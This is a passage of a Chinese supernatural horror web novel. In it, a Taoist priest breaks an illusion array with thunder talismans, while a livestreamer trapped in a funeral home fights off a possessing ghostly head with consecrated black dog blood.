“简单地说……我们现在所处的时间和空间，已经不是我们刚才原先的时间和空间了。”吴妄直起身子，拍了拍手上的尘土解释道，“所谓的‘阵’，就像是一个独立的房间，当你进入别人布下的‘阵’的时候，就来到了另一个完全独立的空间里面，而我在找的‘阵眼’，相当于这个空间和外界联通的唯一媒介，只要找到这个媒介，就能‘破阵’，把这个独立空间从内向外整个撕破，就能离开‘鬼打墙’的迷阵。”
“原来是这样……”沈聆似懂非懂地点了点头。
“只不过，我还是有一点不解。”
“什么？”
“我们走了这么久，对方只是把我们困在这里，但是并没有对我们出手，这是为什么？”吴妄微微眯起眼睛，环顾着四周漆黑一片的乱葬岗，“一般杀阵都会有后续的杀招，但是这个阵并没有，只是单纯的迷阵……这种感觉就像是……下了一个套，把我们困在里面，但是又没有杀死我们的能力，那他的本意是什么……”
听到这句话，忽然，一个奇怪又可怕的念头浮上了沈聆的心头。
“会不会是……调虎离山？”
“调虎离山？”
“比如，把我们困在这里，然后才方便对他真正的目标下手……”
“你的意思是……”
“宋明夷有危险！”
49. 尾随的影子
“哒。哒。哒……”
宋明夷的脚步声在寂静的殡仪馆走廊里回响，仿佛是这幽闭空间中唯一的生命律动。
此时，时间似乎比往常更晚了些，走廊里弥漫着一种压抑的静谧，殡仪馆里的走廊没有窗户，看不见外面的街区，也看不见头顶的天空，狭长的走廊给人一种压抑闭塞的感觉。两侧灰色的墙壁如同一道坚实的屏障，不仅隔绝了外界的喧嚣世界，也切断了一切与外界的联系，让人仿佛置身于一个被遗忘的时空角落。
走廊上，红色、绿色和蓝色构成的花色地砖交错排列，在昏暗的光线下显得有点儿晃眼。那灰色的墙壁上已布满了岁月的尘埃，微微剥落的墙皮诉说着这座殡仪馆的沧桑过往，依稀可以看到墙壁上有一些模糊的长形轮廓，似乎曾经有什么东西挂在墙壁上。
头顶上的灯散发着昏黄的光芒，只能勉强照亮走廊里一小块一小块的区域，甚至时不时闪烁一下，给人一种惶恐不安的感觉。
宋明夷独自走在这寂静的走廊里，身影在她身后被拉得长长的，那影子摇曳着，如同一个孤独的灵魂，静静地落在墙壁上。
突然间，在左侧的墙上，一个影子如鬼魅般掠了过去！
那个影子以极快的速度擦过宋明夷的影子，随后悄然隐匿到了岔口走廊的深幽之中，只留下一片令人心悸的寂静。
宋明夷像是察觉到了什么动静，她停下脚步，转过头，却看见身后的长廊空无一人。
——是她的错觉吗？
这个念头在脑海中一闪而过，随后，她开始壮胆子一样埋怨自己太过疑神疑鬼。
“宋明夷，你可是灵异主播诶，不要这个时候给我掉价好吗？”
虽然嘴巴里是这么念叨着的，但是还是不由自主地从口袋里拿出了手机，打开了摄像头，小心翼翼拍摄了一圈后，确定镜头里没有出现什么“不干净”的东西，她这才稍稍松了一口气。
“没问题的，恐怖的东西已经跳窗离开了，这里能出什么事情？”
宋明夷稳了稳心神，她将自己的手机放在外套胸前的口袋里，稍稍露出手机的摄像头，这样在行动的时候，她的手机也能拍下她看到的画面。
“不过……这里的走廊还真是奇怪，为什么感觉前后都长得一模一样……”
宋明夷走过一条长廊后，来到了一条分岔口，她左右张望了一下，发现往左边、往右边的走廊都是一模一样的装潢，她宛如进入了一个镜像的迷宫。
——这正常吗？
宋明夷挠了挠头，这还是她第一次来殡仪馆，本来就“人生地不熟”的，原本以为殡仪馆至少应该有类似指示图之类的地图，但她走了好久，都没有看到这样的指示图，只能盲目地跟从自己的感觉往前走着。
本来以为，这栋从外面看起来并不大的殡仪馆，至少随便找找就能找到管理处的牌子，但是她走了好久好久，似乎也没有看到什么管理处，更没有看到管理工作人员……
更诡异的是，这条长廊似乎永远也没有尽头，每次走了一小段之后就是一个拐角或者是一个分叉口，再继续往前走就是下一个分岔路……
走廊两侧的门全都是关上的，和正大门一样，这些房间的门是深棕色的，并且看起来有点儿褪色，这些大门紧闭，听不出门后有人，也没有发现门后有什么奇怪的动静，宋明夷试着要打开其中一两扇房门，但是却发现这扇门纹丝不动，似乎被人从里面锁上了，不让进去。
“奇怪了……我记得刚才道长好像说过，在二楼有一户人家正要给老头办葬礼，但是我从楼梯上来，好像都没有听到葬礼哀乐的声音，甚至连个鬼影都没有看到……”
话音刚落，宋明夷忙捂住了自己的嘴巴，意识到自己似乎说错话了，她连忙啐了几口。
“呸呸呸，童言无忌，童言无忌！我就是随便说说哈，各路鬼神不要当真，不要当真……小女子就是从此地路过，想找管理处办事情而已，仅此而已，别无他意……”
这句话像是说给其他某些“东西”听的，也像是说给她自己听的。
狭窄的走廊里形成了独特的回声，宋明夷自言自语的尾声回荡伴随着她的脚步声，听起来更加静谧了。
“这里到底是哪里啊……不然我上网找一找有没有殡仪馆内部的路线图吧……”
这么想着，宋明夷停下了脚步，她拿出手机点开网页的时候，却发现不知道从什么时候开始，自己的手机没有信号了。
“嗯？”
她又往前走了一小步，抬起手机想要试探一下信号，但是奇怪的是，这里像是与世隔绝的孤岛，愣是一点信号都搜不到，无论宋明夷是蹲着还是站着，踮脚还是靠墙，信号那边始终是打叉。
“这里没有信号吗？那我怎么联系沈聆呢？”
就在宋明夷困惑的时候，突然之间，什么东西从她身后蹿了过去！
“谁？！”
宋明夷忙回过头，但是身后依旧是空无一物的长廊。
“谁在那里？！”
她提高了声音，但同时也暴露了声音里的颤抖，她的声音回荡在走廊里——
“在那里……”
“那里……”
“里……”
但是却没有人回应她，周围依旧是一潭死水一样的安静，这一切就像是她的错觉一样。
宋明夷感觉背后发毛，她忙将手机放回自己胸前的口袋里，调整好手机摄像头的角度，抬腿朝前而去。
“哒哒哒……”
她的脚步有些慌张，两侧一闪而过的房门就像是无声的神祇，将她的慌乱无措尽收眼底。
“刷……”
她听到了身后像是有什么东西在紧追不舍的动静，那声音很轻，听起来像是毛发摩擦在粗糙墙壁上的声音，很轻，但是却很快。
宋明夷先是快步走，随后小跑了起来。
但让她感到不安的是，那个诡异的动静似乎也随着她的脚步也在加快！
“来人啊——有人吗——有人吗——”
她提高了音量，大声呼喊着。
但回应她的，只有头顶昏暗的灯光。
她讨厌这样的感觉，这样的感觉，就像是她成了落单的猎物，而一
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个高明的猎手正紧追不舍，似乎想要随时把她生吞活剥！
“呼……呼……”
宋明夷加快了脚步，用尽所有的力气往前奔跑，想要努力甩掉身后奇怪的“影子”一样的东西，她不安地喘着气，但对方似乎也在逐渐逼近，甚至于，宋明夷的惊慌失措让对方更加兴奋了几分，原先还压着的动静现在已经完全暴露了出来。
——我不要……
——我不要死在这里……
宋明夷面色苍白如纸，脚步虚浮，摇摇晃晃地沿着走廊拼命奔跑。
惊慌失措中，她已经失去了方向感，仿佛一只受惊的兔子，盲目地逃窜着。
每个拐角处，她都来不及思考，只能随意选择一个方向继续前行，心中只有一个念头——远离那个紧跟着她的可怕声音！
“哒哒哒……”
走廊里，满是她的脚步声，然而，这条长廊似乎无穷无尽，蜿蜒曲折，毫无出口可言。
身为一名灵异主播，宋明夷此刻深切感受到了传说中的“鬼打墙”——这种诡异现象，她只曾在恐怖小说中读到过，如今亲身经历，才真正体会到被困在封闭空间的绝望滋味。
那绝望如鹅毛大雪般纷纷扬扬地洒落在她的肩头，又如沉重的铅球一般沉甸甸地压在她的心上，令她几乎窒息。
“有人吗——救命——”
就在宋明夷慌快要体力不支的时候，她忽然注意到前方走廊尽头的左侧，有个缺口，那像是卫生间的样子。
“沙拉……”
甚至从那卫生间里，隐隐约约传来了水流声。
——有人？！
来不及多加考虑，宋明夷赶紧朝着那卫生间跑去。
——可以救我！
她在这条走廊迷路了许久，这还是第一次看到除了紧闭的房门之外的地方，哪怕是卫生间也好，卫生间一般都是有窗户的，只要有窗户，就能离开这个鬼地方！而且厕所里有冲水的声音，那就是说，厕所里是有人的！
“哒哒哒——”
宋明夷像是看到了一线曙光一样，跑向了卫生间，在拐入卫生间的瞬间，她看到卫生间有一面很长的镜子，镜子正对着走廊，镜子里清楚地倒映着脸色苍白的宋明夷。
她抬起头看了一下卫生间的性别标识，没有犹豫，直接左转进入了女厕。
就在她进入女厕的时候，她眼角余光，看到镜子里像是有一个黑色的影子窜过去了，那应该就是尾随着她的“脏东西”。
在进入女厕的时候，她看到左右两边都是关着门的隔间，但是那些门只是半掩着，厕所像是没有人的样子。
宋明夷推门进入了第一个隔间，反手将隔间锁上了。
随后，她蜷缩着蹲在马桶上，双手环抱着胳膊，瑟瑟发抖中屏住呼吸，不敢出声。
“沙……”
在这时，门外似乎响起了一些轻微的摩擦声。
那声音就像是头发摩擦过地面的声音，很轻，很轻。
——跟进来了吗？
宋明夷咽了口唾沫，握紧了的手心早已经满是冷汗。
50. 尖叫
在宋明夷逃入女厕之后，她深吸了几口气，躲在厕所的第一个隔间，惴惴不安地支棱起耳朵，听着外面的动静。
她不知道在追自己的是什么东西，但她能笃定的是对方一定不是人类，它的移动速度很快，而且听起来那声音并不是从正后方传来的，反而像是飞檐走壁一样，从身后的许多角度传来——就像是，有一个影子一样的东西快速擦过墙壁，在逼近她。
本能告诉她，这个东西很危险。
她忽然感觉到自己做了一个错误的决定，似乎从踏入殡仪馆的那一刻开始，就注定了今天晚上并不平安。
“沙……”
忽然，宋明夷听到了一阵窸窸窣窣的动静，那声音很轻，刚开始只是在厕所入口的位置，随后，像是逐渐朝着女厕这边过来一般，悄无声息地逼近。
宋明夷听到了那奇怪的动静，她感觉自己的心跳开始加速，额头上也冒出了一层细汗。
她紧张地盯着女厕隔间的门，手紧紧握成拳头，准备随时应对可能出现的情况。
——是那个东西吗？
宋明夷此时正躲在一个女厕的第一个厕所隔间里，她的呼吸急促，心跳声仿佛要从嗓子眼儿里蹦出来似的。
“沙拉……”
那个东西更近了几分，仔细一听后，感觉像是什么东西摩擦过地砖的声音。
宋明夷吓得浑身发抖，脸色苍白如纸，她下意识地抬头环顾了一圈，却发现在第一个隔间里后面的墙壁并没有窗户，原打算从女厕所的窗户跳窗离开的计划似乎也暂时泡汤，她被“围堵”在小小的隔间里，一时间竟进退两难。
这时，宋明夷突然想起了一件事情。
在她还没有进入卫生间之前，她似乎有听到从卫生间传来的冲水的声音，当时她下意识地认为厕所里有人，或许可以帮助自己，但奇怪的是，刚才进来的时候，并没有看见卫生间里有人，虽然她只是简单瞥了一眼就冲入了第一个厕所隔间，但她印象中，每一个隔间都是敞开的，不像是有人的样子。
……难道，那个水声是从男厕所里发出来的？
宋明夷心下困惑，却无从得知答案。
她只能蜷缩起自己的身体，蜷缩在马桶盖上，不多时，隔间外面奇怪的声音好像消失了。
“沙……”
那动静像是和宋明夷玩起了捉迷藏一样，消失了。
周围如陷入流沙一样，陷入了令人不安的静谧中。
——走了吗？
宋明夷心中暗自琢磨着，缓缓地抬起头，目光望向天花板。
然而，映入眼帘的只有那被隔间所划分出的四四方方的形状。
她轻轻摇了摇头，又将视线移至下方，却惊异地发现似乎有个黑影正在逐渐向第一个隔间逼近。
那个黑影的行动极为轻盈，发出的声响微弱得宛如一缕细丝轻轻摩挲过地板。
紧接着，宋明夷眼睁睁地看着一团仿佛头发般的物体自隔间之外悄然伸展进来！
是的，起初只是一两根发丝，接着便如同一小撮一小撮的细流般不断涌入，那些头发看起来略微湿润，上头沾染着奇异的黏液，散发出阵阵刺鼻的腥臭味，它们犹如拖把一般在地面上缓慢拖行着，在马桶前方的小块区域留下了一道道淡淡的血迹。
——这是什么？
宋明夷心中疑惑，她将双腿小心翼翼地从盖上的马桶盖上放下，扶着马桶站稳身体，往后退了几步后，她双膝跪在地上，掌心触碰到冰冷的地面后，她低下头，悄悄从第一个隔间的缝隙往隔间外看去……
她看见一个让她一辈子都难以忘记的画面！
隔间外，有一个倒着的人头，也正看着她。
那颗人头正在与她对视，而她看到的那些头发，正是这颗头颅的长发！
它是没有身体的，从脖颈的地方被生生切断，切口有点儿凹凸不平，甚至沾粘着些许的皮肉，它的脸上满是已经凝固的血，头发上也全都是粘液与血液，它就这么“倒挂金钟”地看着宋明夷，对视的瞬间，那颗头颅笑了一下，裂开了嘴角，像是找到了心爱的玩具一般，得偿所愿。
“啊——”
宋明夷爆发了一声尖叫，尖锐的叫声瞬间传彻了整个二楼。
……
“哒哒哒。”
清脆的脚步声回荡在狭窄的走廊上，林凌此刻正牵着一个小男孩走在一楼的长廊里。
忽然，他似乎听到了有人在尖叫，脚步停顿了一下，下意识地四周看了看，但是却没有再听到有什么动静。
“……叔叔怎么了嘛？”小男孩往前走了几步，见林凌停下了脚步，他便也止步站在原地，侧过身看着林凌。
“我好像听到有人在尖叫……”
林凌皱起眉头看了看天花板，天花板上只有几个昏暗的灯略微照亮了他们脚下的区域，他隐约察觉到刚才听到的尖叫声像是来自殡仪馆二楼的，但是后续却没有听到什么动静，这让他感觉到是不是只是自己的错觉。
他刚才有听到声音吗？
他刚才有听到声音吧……
但是，为什么感觉那个声音那么不真切，就好像是从另一个世界传来的一样遥远……
“小朋友，你刚才有听到什么奇怪的声音吗？像是尖叫声……之类的。”
“没有啊……”小男孩摇了摇头，“是不是叔叔你出现幻觉了？”
“额……可能是我加班太累了吧，这阵子都没有好好休息过，等这些事情解决了，我得请个公休，调整一下。”林凌挠了挠脑袋，存着半分疑心，但还是拉着小男孩继续往前走去。
小男孩很乖巧，被林凌牵着的时候也没有吵闹，和大多数与父母走失的孩子不同的是，眼前的这个小男孩好似有点儿过分安静懂事了，似乎知道眼前的大哥哥是可以信任的人，哪怕被人牵着走的时候也没有怀疑过对方是否动机不纯，只是默默跟着林凌走着，一间一间灵堂寻找他的父母。
“小朋友，你爸爸妈妈在一楼还是二楼？”
“我忘记了。”
“你刚才和他们分开之前，是在一楼还是二楼？这个总记得吧。”
“忘记了。”小男孩的声音清脆中带着几分
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空灵，“我感觉我在这里待了很长时间了，我也记不起来刚开始和他们分别的时候是在哪里……”
“那你爸爸妈妈叫什么名字？手机电话是多少？你记得吗？”
小男孩摇了摇头。
“我已经……很久很久没有见过他们了。”
“你叫什么名字？”
“向泰，李向泰。”
“你是陵川市本地人吗？”
“不是，我是跟着我爸妈来这里打工的。”
“但是……如果他们带你到殡仪馆里的话，说明你们应该在吊唁谁吧？你知道吗？如果记得的话，哪怕是一个名字，我们也可以找管理处问一下是在哪个灵堂。”
但小男孩却缄口不言了。
这个问题，不知道是他不想说，还是有其他不能说出口的原因。
一直沉默了十多秒后，他才慢悠悠地说：“我是被送到这里来的，我睁开眼睛的时候，就在这里了。”
他的眼睛就像一潭死水一般，空洞无物，仿佛失去了所有的生气和活力。
他的目光似乎总是游移不定，难以集中在一个点上，让人不禁感到一阵寒意从脊梁上升起，当他望向前方时，眼中并没有丝毫的波动或情感流露，仿佛眼前的一切都是虚无缥缈的幻影，与他毫无关系。
——好古怪的孩子。
林凌心下疑惑，但也不好直接问出口，他想着得快点找到这个孩子的父母，之后还要去找沈聆和宋明夷。
不知道为什么，在走进这家殡仪馆的时候，他总觉得这里不太对劲，感觉阴气森森的，给人一种很不自在的感觉，像是有无形的藤蔓束缚着他，又像是有许多双眼睛注视着他的一举一动。
“叔叔，你有孩子吗？”
忽然之间，小男孩问了一个奇怪的问题，他的声音打破了两个人之间尴尬的平静。
“啊？没有呀，叔叔我都还没有女朋友呢，哪里来的孩子哈哈哈哈……”
“没有女朋友，好惨啊。”
“啊？”
“是叔叔魅力不够的原因吗？”
“才不是！叔叔我也是很有女人缘的，只不过嘛，我的工作可是很忙的，没有时间。”
“那……我给叔叔介绍一个女朋友怎么样？”
“哈？你这小鬼要给我介绍女朋友？”
“对啊。”小男孩的声音提高了几分，语气中带着几分开朗，“我刚才遇到了一个姐姐，我感觉她挺好看的，给叔叔当女朋友应该正好哦，只不过……她旁边有一个道长大叔，看着很碍眼。”
闻言，林凌一愣。
“小朋友，你说的那个女孩子，是不是瘦瘦的，脸色很苍白，右手还带着一个红色手绳的女孩子？”
“对呀，我感觉，她和叔叔应该挺般配的哦，只不过那个道长有点儿碍事……没关系，碍事的东西总会被‘解决掉’的。”
小男孩说着，眯起眼睛微微一笑，但这句话却透着古怪。
“你刚才在哪里看到他们的？”
“刚才在一楼的停尸间里……那是个有趣的姐姐呢。”
51. 破阵
在宋明夷看到厕所隔间外的脑袋的时候，浑身血液都像是凝固了一样，她呼吸一滞，空白了一片的脑袋“嗡”地只剩下一个念头。
——闹鬼了！
“啊——”
一声凄厉的惨叫声瞬间响彻了二楼，宋明夷连滚带爬地退到隔间的墙壁前，本能地想要躲开那个可怕的倒立着的头颅。
“沙沙......”
就在这诡异的寂静时刻，隔间外面的头发似乎以惊人的速度蔓延开来。
——那些头发显然属于那颗神秘的头颅，它们就像头颅的触角，不仅能够伸长，而且还开始分出更多的发丝。这些头发呈现出棕黑色调，上面覆盖着一层让人作呕的湿臭黏液，而在根根发丝之间，似乎还凝固着暗红色的血迹，散发着一股刺鼻的腥味。
那些宛如海草般的头发悄然地从厕所隔间的狭小缝隙中伸展进来，它们仿佛具有自己的意识和目标，缓缓地朝宋明夷所在的方向延伸过去。
每一根发丝都充满了恶意与威胁，让宋明夷感到一阵毛骨悚然。
“不要……不要……”
宋明夷蜷缩在马桶旁边，惊慌失措中，她拿起旁边的马桶搋子，对着头发就是一顿乱打。
头发像是能感受到疼痛一样，在被马桶搋子打中的时候，那些发丝四散开来，但随后马上生出了更多的头发，这些头发交错缠绕着，爬上了厕所隔间的门板，从下往上，就像拥有旺盛生长力的藤蔓一样，腥臭的味道也开始在隔间蔓延开来。
宋明夷抬起头，看见原先在地上的头颅，此刻冉冉爬上了隔间的门板，先是它的脖颈、下巴、嘴巴、鼻子，最后是眼睛，一直到整个头颅都爬上了隔间的门，宋明夷忽然意识到，整个隔间都被它的头发缠住了！
“救、救命啊——”
宋明夷大声呼救，但周围似乎没有人能听到她的声音。
“嘶……”
头发交错盘绕的声音，是这隔间唯一的动静。
那些头发开始缠绕上两侧的隔板，像是潮水上涨一样，逐渐朝着宋明夷交织而来。
此时此刻，宋明夷就是瓮中的鳖，被团团包裹着，无处可去，她再一次踩上了冰冷的马桶盖，微微抬起手，想要从隔板爬到第二个隔间，但是她的身高并不够高，这些隔板看起来有两米出头，纵然她站上了抽水马桶，也没办法跃过去隔间的顶部。
“沈聆……沈聆救命……”
宋明夷拿出手机，想给沈聆打个电话，但是此刻，她的手机信号完全被屏蔽了，她想给沈聆打电话的时候，手机显示的都是在服务区以外，没有任何信号，她像是被流放到了一个没人知道的荒岛，而且这座恐怖的岛屿与世隔绝，还有恶鬼索命！
“桀桀……”
悬挂在隔间门板上的那个脑袋忽然发出了笑声，那笑声听起来就像是八十多岁的老奶奶喉咙里还卡着痰一样发出的声音。
宋明夷抬起头，发现对方看着自己的那双眼睛已经完全变成了血红色。
“你……你到底是谁？！”
“我？哈哈哈哈，你不需要知道我是谁，你需要知道，在今天晚上之后，你的身体，就是我的了。”
“你在找替死鬼？！”
“是啊，可以这么说吧，不过更准确的说，我需要一个□□，来承载我的魂魄。”那颗头颅说着，伸出了血红色的舌头，用舌头舔了舔嘴唇，她的嘴唇鲜红如血，看起来仿佛吃了很多新鲜的血肉一样，牙齿如犬牙一般，依稀可以看到牙缝中夹着的肉屑。
“你这么为非作歹，一定会受到惩罚的！”宋明夷怒视那颗人头，纵然此刻自己已经被团团包围，她还是不愿意就这么束手就擒！
从人头的外貌来看，死者生前应该是个女人，但不知道为什么，在死后却化作了厉鬼，在殡仪馆为非作歹，或许和道长说的一样，这些逗留在殡仪馆的亡魂，就是通过不断吸食死尸上的最后一缕魂魄，提升自己的魂力，从而化为更可怕的存在。
宋明夷将手机放回了自己的口袋里，就在这时，她摸索到了口袋里沈聆给的那瓶黑狗血！
她眼眸中波澜一动，似乎看到了活下去的希望。
周围的头发如同密集的海草一样，越来越多、越来越多，它们覆盖着地砖、隔板，甚至开始蔓延到马桶上，一点点靠近宋明夷，发丝的末端缠绕上宋明夷的鞋子，两侧隔板上的发丝也在蠢蠢欲动，如同一把把伸直了的利刃，随时准备朝着宋明夷射来。
——我只有一瓶黑狗血。
——而且黑狗血不是很多。
——这是沈聆给我的机会，或许我只有一次机会……
宋明夷想着，视线落在隔间上的人头。
对方正睁大了眼睛，狰狞地笑着，它青筋毕露，惨白的脸颊上没有一丝血色，但却有隐隐约约的尸斑的痕迹。
“……看起来你的魂魄也维持不了太长时间了，所以才这么着急找一个□□吧。”
“哼，没办法啊，魂魄的重量还是太轻了，要留在阳间，就必须找一个□□，而你，是今天晚上殡仪馆出现的最好的载体，你的血是稀血，只要融入你的身体里，我的魂力就会得到大幅度的提升，你的身体，是难得一见的宝贝啊哈哈哈哈或——”
黏腻的头发朝着宋明夷伸了过来，在她的脚下，那发丝也缠绕上了她的脚踝，并顺着她的小腿往上，逐渐将她的下半身层层包裹。
宋明夷想要挣扎，但那些看似游丝状的发丝却十分坚韧，无论她怎么拉扯，都扯不断那些头发，看似只是轻柔的头发，但却比钢丝还要牢固上百倍！
“你这头发质量也太好了吧，不拿去做基建真是可惜了。”宋明夷咬着牙死死盯着觊觎自己身体的恶鬼。
“哟嚯，死到临头还能开玩笑？真不错，我好像对你更感兴趣了哦。”倒挂着的头颅发出了更加凄厉的笑声。
它的头发更往上缠绕着，缠上了宋明夷的前胸和后背，最后，顺着脖子，爬上了她的脸颊。
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>感觉到刺鼻的臭味扑面而来，宋明夷忍着巨大的恶心感，看着爬到自己脸上的那些头发耀武扬威一样在自己的两个眼球之间晃动着，更是试探性地想要插入她的鼻孔、耳朵和嘴巴。
它想要贯穿她的身体！
它想要夺舍她的身体！
“哦？那我想你应该也会对这个感兴趣的！”
在身体被牢牢缠住的前一刻，宋明夷忽然从口袋里掏出了一个白色的小瓷瓶，在恶鬼还没有反应过来的时候，她左手拔掉了瓷瓶红色的塞子，右手拿着瓷瓶，直接将瓷瓶对着悬挂在隔间门框上的头颅撒了过去！
“受死吧恶鬼！”
话音未落，腥臭的黑狗血洒向了那颗头颅！
它终于察觉到了宋明夷的反攻，原本打算用自己那长长的头发去阻止那些四处飞溅的黑狗血。
然而，当它的头发与黑狗血相碰时，就像是触碰到了强烈腐蚀性的硫酸一般，迅速软化了下去，并发出嘶嘶的声响，同时冒出滚滚白烟。
阻挡无果，黑狗血无情地洒落在它的脸上，瞬间将恶鬼的面容侵蚀得面目全非。
“不——不要——”
只见恶鬼的脸从脖颈一直延伸到下巴处都开始溃烂，皮肤和肌肉迅速腐烂，只剩下森白的骨头暴露在外。伴随着这恐怖的景象，恶鬼发出了凄厉的惨叫声。
“为什么——为什么我还会感觉到疼痛——我不是已经死了吗——”
恶鬼惨叫着，那些触手一样的头发瞬间应激一样往回收缩，它重心不稳从隔间的门板上掉了下来，“咚”地一声砸在了厕所的地砖上，声音之大，宛如一个沉重的铅球落地。
与此同时。
一直被困在鬼打墙迷阵里的吴妄和沈聆也因此迎来了转机！
“——”
忽然之间，他们脚下的土地开始冒出白色的烟，从那土壤里散发出些许刺激性的腐烂味，随后，漆黑一片的荒原里，一个血红色的阵出现了！
“这就是……迷阵！
沈聆顺着吴妄的视线看去，发现大片大片的荒原被分割成了许多八卦阵一样的阵型，这些阵的不同区域写着不同的符号，沈聆认不出那是什么字眼，但迷阵像是剥掉了刚开始的伪装，在他们面前露出了本相！
“道长，你能破阵吗？！”
“我试试看。”吴妄说着，三步并作两步，他轻轻一跃，脚尖点过几棵枯树之后，落在了几米之外的地方。
随后，他从袖子里掏出了一个八卦盘，他抬起头观察了一下天上的星宿，将八卦盘与星宿及阵眼对应，转动了一下八卦盘之后，他的脚下出现了一个以他为圆心的圈。
“九天星宿，佑我安然，破阵！”
吴妄一声令下，他手中的八卦盘发出了刺眼的金光，这些光线汇聚到了红色血阵的东南角。
那就是阵眼！
见状，吴妄从袖子里掏出了一张黄底黑字的雷符，直接甩向了那个方位。
“惊雷，落！”
52. 李向泰
“九天惊雷，落！”
吴妄一声怒喝，声如洪钟，划破寂静夜空。
刹那间，一道闪电如银蛇般倏地滑过夜空，那璀璨的光芒宛如一把无比锋利的匕首，硬生生地割开了如墨般浓稠的天际，紧接着，伴随着震耳欲聋的轰鸣声，闪电精准地落在了吴妄手指的方向。
——那个方向，金光如潮水般汇聚。吴妄手中的八卦盘，凭借星宿的指引与阵势的定位，成功找到了所谓的“阵眼”，当阵眼浮现的那一刻，一切似乎都变得清晰明了起来。
此刻，只剩下一件事情亟待完成，那便是破阵！
在闪电如利刃般划过天际的瞬间，一道惊雷仿从厚重如铅的云层中笔直射下，那雷霆万钧之势，似千军万马奔腾而来，锐不可当。这道雷不偏不倚地打在了阵眼的上方，刺眼的白光瞬间绽放，犹如烈日当空。
沈聆定睛望去，在惊雷落下的方向，一道血色的屏障悄然浮现！那似乎是布阵者为保护阵眼而特意留下的结界，这道结界散发着诡异的光芒，那阵眼的结界散发出的暗红色的光，宛如是用凝结着血液的线密密麻麻地编织成的屏障。
“道长！阵眼上有结界在保护！”
“破！”
吴妄眉头紧锁，眼中闪烁着坚毅的光芒，他缓缓抬起头，双手在空中划过一道弧度，仿佛是响应他的号令一般，更多的惊雷自九重天倾泻而下。
“轰隆——”
滚滚雷声，如排山倒海般袭来，震耳欲聋。
那刺眼的闪电白光，如同无数把利剑，将整个荒野彻底照亮！
这一刻，荒野中的每一寸土地都清晰可见，连那些平日里隐藏在黑暗中的微小生灵也无处遁形，夜风呼啸着，吹得野草沙沙作响，树叶纷纷飘落，仿佛在为这一场惊天动地的战斗助威，这道光芒，像是要刺破黑暗中的每一个角落，让所有鬼魅惊慌失措，四处遁逃。
“咔嚓。”
在一道道惊雷的猛烈攻势之下，结界开始出现了红色的裂缝。
那裂缝如同冰面上的裂痕一般，迅速蔓延开来。
九天惊雷乃天神之力，非鬼怪可承受，随着惊雷之下，这道红色的裂缝越来越大，仿佛是被一双无形的巨手拉扯着。撕开越来越大的破损，一直到承受不住九天雷火之力的那一刻，屏障一般的结界瞬间破裂，碎成了冰晶一样的碎屑。
“小小鬼魂，还妄想与神祇争辉吗？！”吴妄微微眯起眼睛，这一刻，仿佛他就是掌控惊雷的神，他以一纸符咒，求借雷火之力，劈开了这迷障重重，也劈开了作祟人间的魑魅魍魉。
“轰隆——”
雷电如巨龙般直接打向了没有结界的阵眼。
在那一刻，天地之间都被照亮，光芒耀眼得让人无法直视。
沈聆只觉得双目刺痛，不由得闭上眼睛，抬起双手遮挡在自己的双眼之前。
在失去视觉的前一刻，她感觉到地动山摇，仿佛周围的一切都被一双巨大的手无情地撕碎了，时空仿佛形成了一个巨大的旋涡，将天地万物都卷入其中。她感觉到沉闷的压力自头顶轰然压下，压得她几乎喘不过气来。
在这股强大的压力之下，粒子、原子都在那一瞬间被撕碎，整个迷阵被瞬间破毁，周围的空气仿佛都被这股强大的力量扭曲了，发出尖锐的呼啸声。
沈聆感觉到自己仿佛天地之间一片摇摇欲坠的树叶，在这即将崩塌的迷阵中站不稳身子，她摔在了地上，感觉到被破了的阵眼像是带着吸力一样，要将所有的东西都吸入其中，并完全毁掉。
——它想毁掉我们……
——它没办法继续维持鬼打墙的迷阵，所以它想杀掉我们……
沈聆被那吸力“抓着”，被吸向了阵眼。
就在这时，忽然一个力量落在了她的手腕上，沈聆睁开眼睛，发现在这白昼一样的光芒之中，吴妄抓住了她的手，他的力量顺着手腕传来，他拉着她，拉住了将被吸入阵眼中的女孩。
“拉住我！”
他的声音有点儿飘忽，阵眼即将崩塌，吴妄虽然近在咫尺，但他的声音却像是从遥远的地方传来一样，沈聆有点儿听不清吴妄的声音，但看着对方那双深邃的眼眸，她下意识地也抓住了他的手，像是抓住了最后一根救命稻草一样。
最后一道白光照彻天际的时候，迷阵，彻底破裂消散。
……
且说回殡仪馆里。
宋明夷将黑狗血泼在鬼头上后，对方像是被黑狗血腐蚀了身体一样，那颗圆圆的脑袋嘶嘶地冒着被腐蚀的白烟，女鬼的鬼头发出凄厉的惨叫声，她明明已经死了很久了。
——在死后的世界里，人是感觉不到疼痛的，因为所谓的喜怒哀乐，疼痛疲惫等等感觉，只有在□□还存在的时候才会产生，在人死后，只剩下魂魄，魂魄是没有感知的能力的。
这突如其来的痛感让女鬼感觉到陌生。
虽然疼痛着，却恍惚之间给了她一种——“我又复活了”的错觉。
在女鬼恍惚的时候，宋明夷眼疾手快，绕过了满地的头发，一把踢开女厕隔间的门，跑了出去。
“你别跑！”
女鬼看到宋明夷逃跑了，气急败坏地长出了更多的头发，那些舞动的头发宛如有生命的海草一样，伸长了朝着宋明夷的背影追去。
就在这时，女鬼忽然吐了一口鲜血，她感觉到自己残留在世间的魂魄像是被重重打击了一下，难以置信地回过头，她看向了殡仪馆外乱葬岗的方向。
“怎么、怎么可能……他们破阵了？但这个阵是‘那位大人’布置的，他们怎么可能这么快就找到阵眼……”
女鬼咬牙切齿地说着，但迷阵被破了的瞬间，雷霆之力也因为迷阵是借助她的魂力结下的、而传到了她这里，这雷霆之力仿佛三昧真火一样，瞬间烧起了她的层层发丝，并且将她的皮肤烫伤，脸颊上的肉被烫烂了后，露出了阴森森的白骨。
女鬼气得牙根痒痒——原本以为今天已经布下了迷阵，用迷阵困住了最烫手的两个“山芋”，还以为自己的下一个新□□已经唾手可得，但是没想到这件事情居然横生变故！
那个女人虽然看上去是三个人里最没有威胁的存在，但兜里却揣着黑狗血，这还不是一般的黑狗血，明显是在神佛前敬拜过的、专门用来驱除邪恶的黑狗血！这样的黑狗血虽然对普通人来说并没有什么
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区别，但对厉鬼来说，简直就是消弭魂魄的利器，她瞬间失去了大半的掌控力，而宋明夷趁着这空荡跑走了。
偷鸡不成蚀把米，她现在算是两头都空了。
一股恼怒之火自心底升腾而起，虽然她已经没有心脏了，但依旧感觉大脑被这恨意充斥。
“该死的东西……我要你们今天晚上都死在这里！”
强大的恨意让她顿时强大了许多，原本细软的发丝开始变硬，如钢铁般坚韧，而那些盘绕在头颅下的头发开始变得粗壮，并长出了许多尖锐的倒刺。
